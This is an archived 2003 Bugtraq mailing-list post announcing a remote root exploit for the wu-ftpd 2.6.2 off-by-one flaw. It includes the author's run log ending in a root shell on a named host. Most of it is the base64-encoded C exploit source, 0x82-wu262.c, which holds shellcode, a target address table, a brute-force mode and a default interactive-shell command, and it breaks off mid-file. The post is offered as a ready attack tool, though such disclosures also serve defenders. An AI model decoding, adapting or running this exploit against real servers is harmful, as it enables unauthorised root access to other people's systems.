[31032] in bugtraq

home help back first fref pref prev next nref lref last post

wu-ftpd-2.6.2 off-by-one remote exploit.

daemon@ATHENA.MIT.EDU (dong-h0un U)
Mon Aug 4 14:57:46 2003

Message-ID: <20030804062943.16136.qmail@hackermail.com>
Content-Type: multipart/mixed; boundary="----------=_1059978583-15211-0"
Content-Transfer-Encoding: 7bit
MIME-Version: 1.0
From: "dong-h0un U" <xploit@hackermail.com>
To: bugtraq@securityfocus.com
Date: Mon, 04 Aug 2003 14:29:43 +0800

------------=_1059978583-15211-0
Content-Type: text/plain; charset="iso-8859-1"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit



I succeeded in RedHat Linux (x86) wu-2.6.2(1), 2.6.2(2), 2.6.1, 2.6.0. (Most version).
This is never fake.

Excellent Advisory was already announced (2003/07/31):
http://isec.pl/vulnerabilities/isec-0011-wu-ftpd.txt

This information was very useful to me.
I'm thankful to them.

This works well in my server.
If don't work in your server ?

Reason that don't work in other server is various kinds.
(For example, compiler version, operating system kind,
or, shellcode's position mistake, environment variable etc ...)

I don't think about those. Exert your force. :-)
INetCop Security is poor now. They have a few server.


* Exploit result:


--
bash$ cat /etc/redhat-release
Red Hat Linux release 6.1 (Cartman)
bash$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs
gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)
--

bash$ ./0x82-wu262 -htest.inetcop.org -ux82 -pmy_pass -n21 -t2

 0x82-WOOoou~Happy_new - wu-ftpd v2.6.2 off-by-one remote exploit.

 [*] Target: RedHat Linux 6.x Version wu-2.6.2(2) compile.
 [+] address: 0x806aaf0.
 [*] #1 Try, test.inetcop.org:21 ... [  OK  ]
 [1] ftpd connection login.
 [*] ftpd connection success.
 [+] User id input.
 [+] User password input.
 [*] User x82 logged in.
 [2] send exploit code.
 [+] 01: make 0x41414141 directory.
 [+] 02: make shell-code directory.
 [+] 03: make 0x43434343 directory.
 [+] 04: make 0x44444444 directory.
 [+] 05: make 0x45454545 directory.
 [+] 06: make 0x46464646 directory.
 [+] 07: make 0x47474747 directory.
 [+] 08: make 0x48484848 directory.
 [+] 09: make 0x49494949 directory.
 [+] 10: make 0x50505050 directory.
 [+] 11: make 0x51515151 directory.
 [+] 12: make 0x52525252 directory.
 [+] 13: make 0x53535353 directory.
 [+] 14: make 0x54545454 directory.
 [+] 15: make 0x55555555 directory.
 [+] Ok, MKD &shellcode_dir.
 [+] #2 Try, test.inetcop.org:21 ... [  OK  ]
 [3] ftpd connection login.
 [*] ftpd connection success.
 [+] User id input.
 [+] User password input.
 [*] User x82 logged in.
 [4] send exploit code.
 [+] 01: make 0x41414141 directory.
 [+] 02: make shell-code directory.
 [+] 03: make 0x43434343 directory.
 [+] 04: make 0x44444444 directory.
 [+] 05: make 0x45454545 directory.
 [+] 06: make 0x46464646 directory.
 [+] 07: make 0x47474747 directory.
 [+] 08: make 0x48484848 directory.
 [+] 09: make 0x49494949 directory.
 [+] 10: make 0x50505050 directory.
 [+] 11: make 0x51515151 directory.
 [+] 12: make 0x52525252 directory.
 [+] 13: make 0x53535353 directory.
 [+] 14: make 0x54545454 directory.
 [+] 15: make 0x55555555 directory.
 [+] Ok, RMD &shellcode_dir.
 [5] Waiting, execute the shell ...
 [*] Send, command packet !

x82 is happy, x82 is happy, x82 is happy
Linux test.inetcop.org 2.2.12-20kr #1 Tue Oct 12 16:46:36 KST 1999 i686 unknown
uid=0(root) gid=0(root) egid=501(x82) groups=501(x82),500(secure)
bash#

--

P.S: Please, don't give me question about exploit, mail.
     Sorry, for my poor english.


-- 
_______________________________________________
Get your free email from http://www.hackermail.com

Powered by Outblaze

------------=_1059978583-15211-0
Content-Type: application/octet-stream; name="0x82-wu262.c"
Content-Disposition: attachment; filename="0x82-wu262.c"
Content-Transfer-Encoding: base64

LyoKKioKKiogd3UtZnRwZCB2Mi42LjIgb2ZmLWJ5LW9uZSByZW1vdGUgMGRh
eSBleHBsb2l0LgoqKiBQdWJsaWMgdmVyc2lvbiAtIDIwMDMvMDgvMDIKKioK
KiogLS0KKiogVGhpcyB2dWxuZXJhYmlsaXR5IHdhcyBkaXNjb3ZlcmVkIGJ5
IFdvamNpZWNoIFB1cmN6eW5za2kgPGNsaXBoQGlzZWMucGw+LAoqKiBKYW51
c3ogTmlld2lhZG9tc2tpIDxmdW5reXNoQGlzZWMucGw+LgoqKiBUaGV5IG9m
ZmVyZWQgZXhjZWxsZW50IEFkdmlzb3J5LCBJJ20gdGhhbmtmdWwgdG8gdGhl
bS4KKioKKiogVVJMOiBodHRwOi8vaXNlYy5wbC92dWxuZXJhYmlsaXRpZXMv
aXNlYy0wMDExLXd1LWZ0cGQudHh0CioqCioqIC0tCioqIGV4cGxvaXQgYnkg
InlvdSBkb25nLWh1biIoWHBsMDE3RWx6KSwgPHN6b2FoY0Bob3RtYWlsLmNv
bT4uCioqIE15IFdvcmxkOiBodHRwOi8veDgyLmluZXRjb3Aub3JnCiovCi8q
CioqIC09LT0gUE9JTlQhIFBPSU5UISBQT0lOVCEgUE9JTlQhIFBPSU5UISA9
LT0tCioqCioqIE1vcmUgdXNlZnVsIHZlcnNpb24gaXNuJ3QgZ29pbmcgdG8g
c2hhcmUuICh2YXJpb3VzIHRlc3QgdmVyc2lvbikKKiogRm9yIHJlZmVyZW5j
ZSwgZXhwbG9pdCBtZXRob2QgdGhhdCB1c2UgYFNUT1InIGNvbW1hbmQgc3Vj
Y2VlZGVkLiA6LSkKKioKKiogVXBkYXRlOiBBdWd1c3QgMiwgSSBhZGRlZCB3
dS1mdHBkLTIuNi4yLCAyLjYuMCwgMi42LjEgZmluYWxseS4KKiogICAgICAg
ICBBdWd1c3QgMywgQnJ1dGUtRm9yY2UgZnVuY3Rpb24gYWRkaXRpb24uCioq
IC0tCioqIFRoYW5rIHlvdS4KKioKKi8KCiNkZWZpbmUgVkVSU0lPTiAidjAu
MC4zIgojaW5jbHVkZSA8c3RkaW8uaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgoj
aW5jbHVkZSA8c3RkbGliLmg+CiNpbmNsdWRlIDxuZXRkYi5oPgojaW5jbHVk
ZSA8bmV0aW5ldC9pbi5oPgojaW5jbHVkZSA8c3lzL3NvY2tldC5oPgoKI2Rl
ZmluZSBERUJVR19ORwojdW5kZWYgREVCVUdfTkcKI2RlZmluZSBOUkwgMAoj
ZGVmaW5lIFNDUyAxCiNkZWZpbmUgRkFEICgtMSkKI2RlZmluZSBNQVhfQkYg
KDE2KQojZGVmaW5lIEJGX0xTWiAoMHgxMDApIC8qIDI1NiAqLwojZGVmaW5l
IERFRl9WQSAyNTUKI2RlZmluZSBERUZfUE9SVCAyMQojZGVmaW5lIERFRl9B
TlNIIDExCiNkZWZpbmUgR0VUX0hPU1RfTk1fRVJSIChOVUxMKQojZGVmaW5l
IFNJTl9aUl9TSVpFIDgKI2RlZmluZSBERUZfQUxJR04gNAojZGVmaW5lIEdF
VF9SIDUwMDAKI2RlZmluZSBERUZfTk9QIDY0CiNkZWZpbmUgREVGX1NUUiAi
eDB4IgojZGVmaW5lIEhPTUVfRElSICIvaG9tZS8iCiNkZWZpbmUgREVGX0hP
U1QgImxvY2FsaG9zdCIKI2RlZmluZSBERUZfQ09NTSAiZWNobyBcIng4MiBp
cyBoYXBweSwgeDgyIGlzIGhhcHB5LCB4ODIgaXMgaGFwcHlcIjsiIFwKInVu
YW1lIC1hO2lkO2V4cG9ydCBURVJNPXZ0MTAwO2V4ZWMgYmFzaCAtaVxuIgov
KiBmdHBkIGhhbmRzaGFrZSAqLwojZGVmaW5lIEZUUF9DT05OX1NDUyAiMjIw
IgojZGVmaW5lIEZUUF9VU0VSX0ZBRCAiMzMxIgojZGVmaW5lIEZUUF9MT0dJ
Tl9GQUQgIjUzMCBMb2dpbiBpbmNvcnJlY3QuIgojZGVmaW5lIEZUUF9MT0dJ
Tl9TQ1MgIjIzMCIKI2RlZmluZSBDV0RfQ09NTV9TQ1MgIjI1MCIgLyogYWxz
bywgUk1EIGNvbW1hbmQgKi8KI2RlZmluZSBNS0RfQ09NTV9TQ1MgIjI1NyIK
I2RlZmluZSBNS0RfRVhJU1QgIjUyMSIKCnZvaWQgZnRwZF9sb2dpbihpbnQg
c29jayxjaGFyICp1c2VyLGNoYXIgKnBhc3MpOwp2b2lkIGNvbm5fc2hlbGwo
aW50IGNvbm5fc29jayk7CmludCBzZXRzb2NrKGNoYXIgKnVfaG9zdCxpbnQg
dV9wb3J0KTsKdm9pZCByZV9jb25udChpbnQgc3Rfc29ja192YSk7CnZvaWQg
cHJjb2RlX3VzYWdlKGNoYXIgKmZfbm0pOwppbnQgbWtkX2N3ZF9mKGludCBz
b2NrLGludCB0eXBlLGNoYXIgKmRpcl9ubSxpbnQgZ2JfY2hhcmFjdGVyKTsK
aW50IHNlbmRfc2hlbGxjb2RlKGludCBzb2NrLGludCB0eXBlLGNoYXIgKmRp
cl9ubSk7CnZvaWQgbWFrZV9zZW5kX2V4cGxvaXQoaW50IHNvY2ssaW50IHR5
cGUsdV9sb25nIHNoX2FkZHIsaW50IGRfdHlwZSk7CmludCBtYWtlX3JldGxv
YyhpbnQgc29jayxpbnQgdHlwZSxjaGFyICphdGtfYmYsdV9sb25nIHNoX2Fk
ZHIpOwp1X2xvbmcgbnVsbF9jaGsodV9sb25nIHNoX2FkZHIpOwp2b2lkIGJh
bnJsKCk7CgpzdHJ1Y3Qgb3MKewoJaW50IG51bTsKCWNoYXIgKnZfbm07Cgl1
X2xvbmcgc2hfYWRkcjsKfTsKaW50IHRfZz0oTlJMKTsKY2hhciBob21lX2Rp
clsoREVGX1ZBKV07IC8qIHVzZXIgaG9tZSBkaXJlY3Rvcnkgb2Zmc2V0ICov
Ci8qCioqIGAweGZmJyB1c2VzIHR3byB0aW1lcyB0byBiZSByZWFsaXplZCBp
biBvdXIgc2hlbGxjb2RlLgoqLwpjaGFyIHNoZWxsY29kZV9mZngyW109Cgkv
KiBzZXR1aWQvY2hyb290LWJyZWFrL2V4ZWN2ZSBzaGVsbGNvZGUgYnkgTGFt
M3JaICovCgkiXHgzMVx4YzBceDMxXHhkYlx4MzFceGM5XHhiMFx4NDZceGNk
XHg4MFx4MzFceGMwXHgzMVx4ZGJceDQzXHg4OSIKCSJceGQ5XHg0MVx4YjBc
eDNmXHhjZFx4ODBceGViXHg2Ylx4NWVceDMxXHhjMFx4MzFceGM5XHg4ZFx4
NWVceDAxIgoJIlx4ODhceDQ2XHgwNFx4NjZceGI5XHhmZlx4ZmZceDAxXHhi
MFx4MjdceGNkXHg4MFx4MzFceGMwXHg4ZFx4NWVceDAxIgoJIlx4YjBceDNk
XHhjZFx4ODBceDMxXHhjMFx4MzFceGRiXHg4ZFx4NWVceDA4XHg4OVx4NDNc
eDAyXHgzMVx4YzkiCgkiXHhmZVx4YzlceDMxXHhjMFx4OGRceDVlXHgwOFx4
YjBceDBjXHhjZFx4ODBceGZlXHhjOVx4NzVceGYzXHgzMSIKCSJceGMwXHg4
OFx4NDZceDA5XHg4ZFx4NWVceDA4XHhiMFx4M2RceGNkXHg4MFx4ZmVceDBl
XHhiMFx4MzBceGZlIgoJIlx4YzhceDg4XHg0Nlx4MDRceDMxXHhjMFx4ODhc
eDQ2XHgwN1x4ODlceDc2XHgwOFx4ODlceDQ2XHgwY1x4ODkiCgkiXHhmM1x4
OGRceDRlXHgwOFx4OGRceDU2XHgwY1x4YjBceDBiXHhjZFx4ODBceDMxXHhj
MFx4MzFceGRiXHhiMCIKCSJceDAxXHhjZFx4ODBceGU4XHg5MFx4ZmZceGZm
XHhmZlx4ZmZceGZmXHhmZlx4MzBceDYyXHg2OVx4NmVceDMwXHg3M1x4Njhc
eDMxIgoJIlx4MmVceDJlXHgzMVx4MzEiOwoKc3RydWN0IG9zIHBsYXRbXT0K
ewoJLyoKCSoqIEkgZW5qb3kgdmVyc2lvbiB1cCwgd2lsbCBub3Qgc2hhcmUg
bW9yZS4gOi19CgkqLwoJewoJCTAsIlJlZEhhdCBMaW51eCA2LnggVmVyc2lv
biB3dS0yLjYuMCgxKSBjb21waWxlIiwweDA4MDZhNTljCgl9LAoJewoJCTEs
IlJlZEhhdCBMaW51eCA2LnggVmVyc2lvbiB3dS0yLjYuMSgxKSBjb21waWxl
IiwweDA4MDZhYWQ4Cgl9LAoJewoJCTIsIlJlZEhhdCBMaW51eCA2LnggVmVy
c2lvbiB3dS0yLjYuMigyKSBjb21waWxlIiwweDA4MDZhYTYwCgl9LAoJewoJ
CTB4ODIsTlVMTCwweDAKCX0sCgl7CgkJMHg4MjgyLCJCcnV0ZS1Gb3JjZSBt
b2RlIiwweDA4MDZhMDgyCgl9Cn07Cgp2b2lkIHByY29kZV91c2FnZShjaGFy
ICpmX25tKQp7CglpbnQgcl9uPShOUkwpOwoJZnByaW50ZihzdGRvdXQsIiBV
c2FnZTogJXMgLW9wdGlvbnMgYXJndW1lbnRzXG5cbiIsZl9ubSk7CglmcHJp
bnRmKHN0ZG91dCwiIFx0LWggW2hvc3RuYW1lXSAgIDogVGFyZ2V0IGhvc3Ru
YW1lICYgaXAuXG4iKTsKCWZwcmludGYoc3Rkb3V0LCIgXHQtdSBbdXNlcmlk
XSAgICAgOiBVc2VyIGlkLlxuIik7CglmcHJpbnRmKHN0ZG91dCwiIFx0LXAg
W3Bhc3N3ZF0gICAgIDogVXNlciBwYXNzd29yZC5cbiIpOwoJZnByaW50Zihz
dGRvdXQsIiBcdC1uIFtwb3J0IG51bV0gICA6IFRhcmdldCBwb3J0IG51bWJl
ci5cbiIpOwoJZnByaW50ZihzdGRvdXQsIiBcdC1zIFtzaGVsbGFkZHJdICA6
IFNoZWxsY29kZSBhZGRyZXNzLlxuIik7CglmcHJpbnRmKHN0ZG91dCwiIFx0
LWIgICAgICAgICAgICAgIDogQnJ1dGUtRm9yY2UgbW9kZS5cbiIpOwoJZnBy
aW50ZihzdGRvdXQsIiBcdC1tIFttYXggbnVtXSAgICA6IEJydXRlLUZvcmNl
IENvdW50IG51bWJlci5cbiIpOwoJZnByaW50ZihzdGRvdXQsIiBcdC1pICAg
ICAgICAgICAgICA6IGhlbHAgaW5mb3JtYXRpb24uXG4iKTsKCWZwcmludGYo
c3Rkb3V0LCIgXHQtdCBbdGFyZ2V0IG51bV0gOiBTZWxlY3QgdGFyZ2V0IG51
bWJlci5cblxuIik7Cglmb3Iocl9uPShOUkwpO3BsYXRbcl9uXS52X25tIT0o
TlVMTCk7cl9uKyspCgl7CgkJZnByaW50ZihzdGRvdXQsIiBcdFx0eyVkfSAl
cy5cbiIsKHBsYXRbcl9uXS5udW0pLChwbGF0W3Jfbl0udl9ubSkpOwoJfQoJ
ZnByaW50ZihzdGRvdXQsIlxuIEV4YW1wbGU6ICVzIC1obG9jYWxob3N0IC11
eDgyIC1weDgyIC1uMjEgLXQwXG5cbiIsZl9ubSk7CglleGl0KEZBRCk7Cn0K
CnVfbG9uZyBudWxsX2Noayh1X2xvbmcgc2hfYWRkcikKewoJaWYoKHNoX2Fk
ZHI+PihOUkwpJjB4ZmYpPT0oMHgwMCkpCgl7CgkJcmV0dXJuKHNoX2FkZHIr
PShTQ1MpKTsKCX0KCWVsc2UgcmV0dXJuKHNoX2FkZHIpOwp9Cgp2b2lkIGZ0
cGRfbG9naW4oaW50IHNvY2ssY2hhciAqdXNlcixjaGFyICpwYXNzKQp7Cglj
aGFyIHNlbmRfcmVjdlsoR0VUX1IpXTsKCgkodV9pbnQpc2xlZXAoU0NTKTsK
CW1lbXNldCgoY2hhciAqKXNlbmRfcmVjdiwoTlJMKSxzaXplb2Yoc2VuZF9y
ZWN2KSk7CglyZWN2KHNvY2ssc2VuZF9yZWN2LHNpemVvZihzZW5kX3JlY3Yp
LTEsKE5STCkpOwoKCWlmKCFzdHJzdHIoc2VuZF9yZWN2LChGVFBfQ09OTl9T
Q1MpKSkKCXsKCQlmcHJpbnRmKHN0ZG91dCwiIFstXSBmdHBkIGNvbm5lY3Rp
b24gZmFpbHVyZS5cblxuIik7CgkJY2xvc2Uoc29jayk7CgkJZXhpdChGQUQp
OwoJfQoJZWxzZSBmcHJpbnRmKHN0ZG91dCwiIFsqXSBmdHBkIGNvbm5lY3Rp
b24gc3VjY2Vzcy5cbiIpOwoJZnByaW50ZihzdGRvdXQsIiBbK10gVXNlciBp
ZCBpbnB1dC5cbiIpOwoKCW1lbXNldCgoY2hhciAqKXNlbmRfcmVjdiwoTlJM
KSxzaXplb2Yoc2VuZF9yZWN2KSk7CglzbnByaW50ZihzZW5kX3JlY3Ysc2l6
ZW9mKHNlbmRfcmVjdiktMSwiVVNFUiAlc1xyXG4iLHVzZXIpOwoJc2VuZChz
b2NrLHNlbmRfcmVjdixzdHJsZW4oc2VuZF9yZWN2KSwoTlJMKSk7CgoJKHVf
aW50KXNsZWVwKFNDUyk7CgltZW1zZXQoKGNoYXIgKilzZW5kX3JlY3YsKE5S
TCksc2l6ZW9mKHNlbmRfcmVjdikpOwoJcmVjdihzb2NrLHNlbmRfcmVjdixz
aXplb2Yoc2VuZF9yZWN2KS0xLChOUkwpKTsKCglpZighc3Ryc3RyKHNlbmRf
cmVjdiwoRlRQX1VTRVJfRkFEKSkpCgl7CgkJZnByaW50ZihzdGRvdXQsIiBb
LV0gVXNlciBpZCBpbnB1dCBmYWlsdXJlLlxuXG4iKTsKCQljbG9zZShzb2Nr
KTsKCQlleGl0KEZBRCk7Cgl9CgllbHNlIGZwcmludGYoc3Rkb3V0LCIgWytd
IFVzZXIgcGFzc3dvcmQgaW5wdXQuXG4iKTsKCgltZW1zZXQoKGNoYXIgKilz
ZW5kX3JlY3YsKE5STCksc2l6ZW9mKHNlbmRfcmVjdikpOwoJc25wcmludGYo
c2VuZF9yZWN2LHNpemVvZihzZW5kX3JlY3YpLTEsIlBBU1MgJXNcclxuIixw
YXNzKTsKCXNlbmQoc29jayxzZW5kX3JlY3Ysc3RybGVuKHNlbmRfcmVjdiks
KE5STCkpOwoKCSh1X2ludClzbGVlcChTQ1MpOwoJbWVtc2V0KChjaGFyICop
c2VuZF9yZWN2LChOUkwpLHNpemVvZihzZW5kX3JlY3YpKTsKCXJlY3Yoc29j
ayxzZW5kX3JlY3Ysc2l6ZW9mKHNlbmRfcmVjdiktMSwoTlJMKSk7CgoJaWYo
c3Ryc3RyKHNlbmRfcmVjdiwoRlRQX0xPR0lOX0ZBRCkpKQoJewoJCWZwcmlu
dGYoc3Rkb3V0LCIgWy1dIEZBSUxFRCBMT0dJTiBvbiAlcy5cblxuIix1c2Vy
KTsKCQljbG9zZShzb2NrKTsKCQlleGl0KEZBRCk7Cgl9CgllbHNlIGlmKHN0
cnN0cihzZW5kX3JlY3YsKEZUUF9MT0dJTl9TQ1MpKSkKCXsKCQlmcHJpbnRm
KHN0ZG91dCwiIFsqXSBVc2VyICVzIGxvZ2dlZCBpbi5cbiIsdXNlcik7Cgl9
CgllbHNlCgl7CgkJZnByaW50ZihzdGRvdXQsIiBbLV0gZnRwZCBoYW5kc2hh
a2UgZmFpbHVyZS5cblxuIik7CgkJY2xvc2Uoc29jayk7CgkJZXhpdChGQUQp
OwoJfQoJcmV0dXJuOwp9CgppbnQgbWtkX2N3ZF9mKGludCBzb2NrLGludCB0
eXBlLGNoYXIgKmRpcl9ubSxpbnQgZ2JfY2hhcmFjdGVyKQp7CglpbnQgZHJf
bj0oTlJMKSxjbWRfZj0oTlJMKTsKCWNoYXIgZ2V0X25tWyhHRVRfUildOwoK
CW1lbXNldCgoY2hhciAqKWRpcl9ubSwoTlJMKSwoR0VUX1IpKTsKCS8qIE1L
RCBjb21tYW5kICovCglkaXJfbm1bY21kX2YrK109KDB4NGQpOwoJZGlyX25t
W2NtZF9mKytdPSgweDRiKTsKCWRpcl9ubVtjbWRfZisrXT0oMHg0NCk7Cglk
aXJfbm1bY21kX2YrK109KDB4MjApOwoKCWZvcihkcl9uPShjbWRfZik7ZHJf
bjwoREVGX1ZBKSsoY21kX2YpO2RyX24rKykKCXsKCQlkaXJfbm1bZHJfbl09
KGdiX2NoYXJhY3Rlcik7Cgl9CglkaXJfbm1bZHJfbisrXT0oMHgwZCk7Cglk
aXJfbm1bZHJfbisrXT0oMHgwYSk7CgoJaWYodHlwZSkKCXsKCQlzZW5kKHNv
Y2ssZGlyX25tLHN0cmxlbihkaXJfbm0pLChOUkwpKTsKCQkodV9pbnQpc2xl
ZXAoU0NTKTsKCQltZW1zZXQoKGNoYXIgKilnZXRfbm0sKE5STCksc2l6ZW9m
KGdldF9ubSkpOwoJCXJlY3Yoc29jayxnZXRfbm0sc2l6ZW9mKGdldF9ubSkt
MSwoTlJMKSk7CgoJCWlmKCFzdHJzdHIoZ2V0X25tLChNS0RfQ09NTV9TQ1Mp
KSYmIXN0cnN0cihnZXRfbm0sKE1LRF9FWElTVCkpKQoJCXsKCQkJZnByaW50
ZihzdGRvdXQsIiBbLV0gTUtEIGNvbW1hbmQgZmFpbGVkLlxuXG4iKTsKCQkJ
ZXhpdChGQUQpOwoJCX0KCX0KCS8qIENNRCBjb21tYW5kICovCgljbWRfZj0o
TlJMKTsKCWRpcl9ubVtjbWRfZisrXT0oMHg0Myk7CglkaXJfbm1bY21kX2Yr
K109KDB4NTcpOwoJZGlyX25tW2NtZF9mKytdPSgweDQ0KTsKCglzZW5kKHNv
Y2ssZGlyX25tLHN0cmxlbihkaXJfbm0pLChOUkwpKTsKCSh1X2ludClzbGVl
cChTQ1MpOwoJbWVtc2V0KChjaGFyICopZ2V0X25tLChOUkwpLHNpemVvZihn
ZXRfbm0pKTsKCXJlY3Yoc29jayxnZXRfbm0sc2l6ZW9mKGdldF9ubSktMSwo
TlJMKSk7CgoJaWYoIXN0cnN0cihnZXRfbm0sKENXRF9DT01NX1NDUykpKQoJ
ewoJCWZwcmludGYoc3Rkb3V0LCIgWy1dIENXRCBjb21tYW5kIGZhaWxlZC5c
blxuIik7CgkJZXhpdChGQUQpOwoJfQoJcmV0dXJuOwp9CgppbnQgc2VuZF9z
aGVsbGNvZGUoaW50IHNvY2ssaW50IHR5cGUsY2hhciAqZGlyX25tKQp7Cglp
bnQgZHJfbj0oTlJMKSxjbWRfZj0oTlJMKTsKCWNoYXIgZ2V0X25tWyhHRVRf
UildOwoKCW1lbXNldCgoY2hhciAqKWRpcl9ubSwoTlJMKSwoR0VUX1IpKTsK
CS8qIE1LRCBjb21tYW5kICovCglkaXJfbm1bY21kX2YrK109KDB4NGQpOwoJ
ZGlyX25tW2NtZF9mKytdPSgweDRiKTsKCWRpcl9ubVtjbWRfZisrXT0oMHg0
NCk7CglkaXJfbm1bY21kX2YrK109KDB4MjApOwoKCWZvcihkcl9uPShjbWRf
Zik7ZHJfbjwoREVGX1ZBKStzaXplb2YoMHhmZmZmZmZmZikrKGNtZF9mKS1z
dHJsZW4oc2hlbGxjb2RlX2ZmeDIpO2RyX24rKykKCXsKCQlkaXJfbm1bZHJf
bl09KERFRl9OT1ApOwoJfQoJZm9yKGNtZF9mPShOUkwpO2NtZF9mPHN0cmxl
bihzaGVsbGNvZGVfZmZ4Mik7Y21kX2YrKykKCXsKCQlkaXJfbm1bZHJfbisr
XT1zaGVsbGNvZGVfZmZ4MltjbWRfZl07Cgl9CglkaXJfbm1bZHJfbisrXT0o
MHgwZCk7CglkaXJfbm1bZHJfbisrXT0oMHgwYSk7CgoJaWYodHlwZSkKCXsK
CQlzZW5kKHNvY2ssZGlyX25tLHN0cmxlbihkaXJfbm0pLChOUkwpKTsKCQko
dV9pbnQpc2xlZXAoU0NTKTsKCQltZW1zZXQoKGNoYXIgKilnZXRfbm0sKE5S
TCksc2l6ZW9mKGdldF9ubSkpOwoJCXJlY3Yoc29jayxnZXRfbm0sc2l6ZW9m
KGdldF9ubSktMSwoTlJMKSk7CgoJCWlmKCFzdHJzdHIoZ2V0X25tLChNS0Rf
Q09NTV9TQ1MpKSYmIXN0cnN0cihnZXRfbm0sKE1LRF9FWElTVCkpKQoJCXsK
CQkJZnByaW50ZihzdGRvdXQsIiBbLV0gTUtEIHNoZWxsY29kZV9kaXIgZmFp
bGVkLlxuXG4iKTsKCQkJZXhpdChGQUQpOwoJCX0KCX0KCS8qIENNRCBjb21t
YW5kICovCgljbWRfZj0oTlJMKTsKCWRpcl9ubVtjbWRfZisrXT0oMHg0Myk7
CglkaXJfbm1bY21kX2YrK109KDB4NTcpOwoJZGlyX25tW2NtZF9mKytdPSgw
eDQ0KTsKCglzZW5kKHNvY2ssZGlyX25tLHN0cmxlbihkaXJfbm0pLChOUkwp
KTsKCSh1X2ludClzbGVlcChTQ1MpOwoJbWVtc2V0KChjaGFyICopZ2V0X25t
LChOUkwpLHNpemVvZihnZXRfbm0pKTsKCXJlY3Yoc29jayxnZXRfbm0sKEdF
VF9SKS0xLChOUkwpKTsKCglpZighc3Ryc3RyKGdldF9ubSwoQ1dEX0NPTU1f
U0NTKSkpCgl7CgkJZnByaW50ZihzdGRvdXQsIiBbLV0gQ1dEIHNoZWxsY29k
ZV9kaXIgZmFpbGVkLlxuXG4iKTsKCQlleGl0KEZBRCk7Cgl9CglyZXR1cm47
Cn0KCnZvaWQgbWFrZV9zZW5kX2V4cGxvaXQoaW50IHNvY2ssaW50IHR5cGUs
dV9sb25nIHNoX2FkZHIsaW50IGRfdHlwZSkKewoJY2hhciBhdGtfYmZbKEdF
VF9SKV07Cgl7CgkJZnByaW50ZihzdGRvdXQsIiBbK10gMDE6IG1ha2UgMHg0
MTQxNDE0MSBkaXJlY3RvcnkuXG4iKTsKCQkoaW50KW1rZF9jd2RfZihzb2Nr
LGRfdHlwZSwoYXRrX2JmKSwoMHg0MSkpOwkvKiAwMSAqLwoJCWZwcmludGYo
c3Rkb3V0LCIgWytdIDAyOiBtYWtlIHNoZWxsLWNvZGUgZGlyZWN0b3J5Llxu
Iik7CgkJKGludClzZW5kX3NoZWxsY29kZShzb2NrLGRfdHlwZSwoYXRrX2Jm
KSk7CS8qIDAyICovCgkJZnByaW50ZihzdGRvdXQsIiBbK10gMDM6IG1ha2Ug
MHg0MzQzNDM0MyBkaXJlY3RvcnkuXG4iKTsKCQkoaW50KW1rZF9jd2RfZihz
b2NrLGRfdHlwZSwoYXRrX2JmKSwoMHg0MykpOwkvKiAwMyAqLwoJCWZwcmlu
dGYoc3Rkb3V0LCIgWytdIDA0OiBtYWtlIDB4NDQ0NDQ0NDQgZGlyZWN0b3J5
LlxuIik7CgkJKGludClta2RfY3dkX2Yoc29jayxkX3R5cGUsKGF0a19iZiks
KDB4NDQpKTsJLyogMDQgKi8KCQlmcHJpbnRmKHN0ZG91dCwiIFsrXSAwNTog
bWFrZSAweDQ1NDU0NTQ1IGRpcmVjdG9yeS5cbiIpOwoJCShpbnQpbWtkX2N3
ZF9mKHNvY2ssZF90eXBlLChhdGtfYmYpLCgweDQ1KSk7CS8qIDA1ICovCgkJ
ZnByaW50ZihzdGRvdXQsIiBbK10gMDY6IG1ha2UgMHg0NjQ2NDY0NiBkaXJl
Y3RvcnkuXG4iKTsKCQkoaW50KW1rZF9jd2RfZihzb2NrLGRfdHlwZSwoYXRr
X2JmKSwoMHg0NikpOwkvKiAwNiAqLwoJCWZwcmludGYoc3Rkb3V0LCIgWytd
IDA3OiBtYWtlIDB4NDc0NzQ3NDcgZGlyZWN0b3J5LlxuIik7CgkJKGludClt
a2RfY3dkX2Yoc29jayxkX3R5cGUsKGF0a19iZiksKDB4NDcpKTsJLyogMDcg
Ki8KCQlmcHJpbnRmKHN0ZG91dCwiIFsrXSAwODogbWFrZSAweDQ4NDg0ODQ4
IGRpcmVjdG9yeS5cbiIpOwoJCShpbnQpbWtkX2N3ZF9mKHNvY2ssZF90eXBl
LChhdGtfYmYpLCgweDQ4KSk7CS8qIDA4ICovCgkJZnByaW50ZihzdGRvdXQs
IiBbK10gMDk6IG1ha2UgMHg0OTQ5NDk0OSBkaXJlY3RvcnkuXG4iKTsKCQko
aW50KW1rZF9jd2RfZihzb2NrLGRfdHlwZSwoYXRrX2JmKSwoMHg0OSkpOwkv
KiAwOSAqLwoJCWZwcmludGYoc3Rkb3V0LCIgWytdIDEwOiBtYWtlIDB4NTA1
MDUwNTAgZGlyZWN0b3J5LlxuIik7CgkJKGludClta2RfY3dkX2Yoc29jayxk
X3R5cGUsKGF0a19iZiksKDB4NTApKTsJLyogMTAgKi8KCQlmcHJpbnRmKHN0
ZG91dCwiIFsrXSAxMTogbWFrZSAweDUxNTE1MTUxIGRpcmVjdG9yeS5cbiIp
OwoJCShpbnQpbWtkX2N3ZF9mKHNvY2ssZF90eXBlLChhdGtfYmYpLCgweDUx
KSk7CS8qIDExICovCgkJZnByaW50ZihzdGRvdXQsIiBbK10gMTI6IG1ha2Ug
MHg1MjUyNTI1MiBkaXJlY3RvcnkuXG4iKTsKCQkoaW50KW1rZF9jd2RfZihz
b2NrLGRfdHlwZSwoYXRrX2JmKSwoMHg1MikpOwkvKiAxMiAqLwoJCWZwcmlu
dGYoc3Rkb3V0LCIgWytdIDEzOiBtYWtlIDB4NTM1MzUzNTMgZGlyZWN0b3J5
LlxuIik7CgkJKGludClta2RfY3dkX2Yoc29jayxkX3R5cGUsKGF0a19iZiks
KDB4NTMpKTsJLyogMTMgKi8KCQlmcHJpbnRmKHN0ZG91dCwiIFsrXSAxNDog
bWFrZSAweDU0NTQ1NDU0IGRpcmVjdG9yeS5cbiIpOwoJCShpbnQpbWtkX2N3
ZF9mKHNvY2ssZF90eXBlLChhdGtfYmYpLCgweDU0KSk7CS8qIDE0ICovCgkJ
ZnByaW50ZihzdGRvdXQsIiBbK10gMTU6IG1ha2UgMHg1NTU1NTU1NSBkaXJl
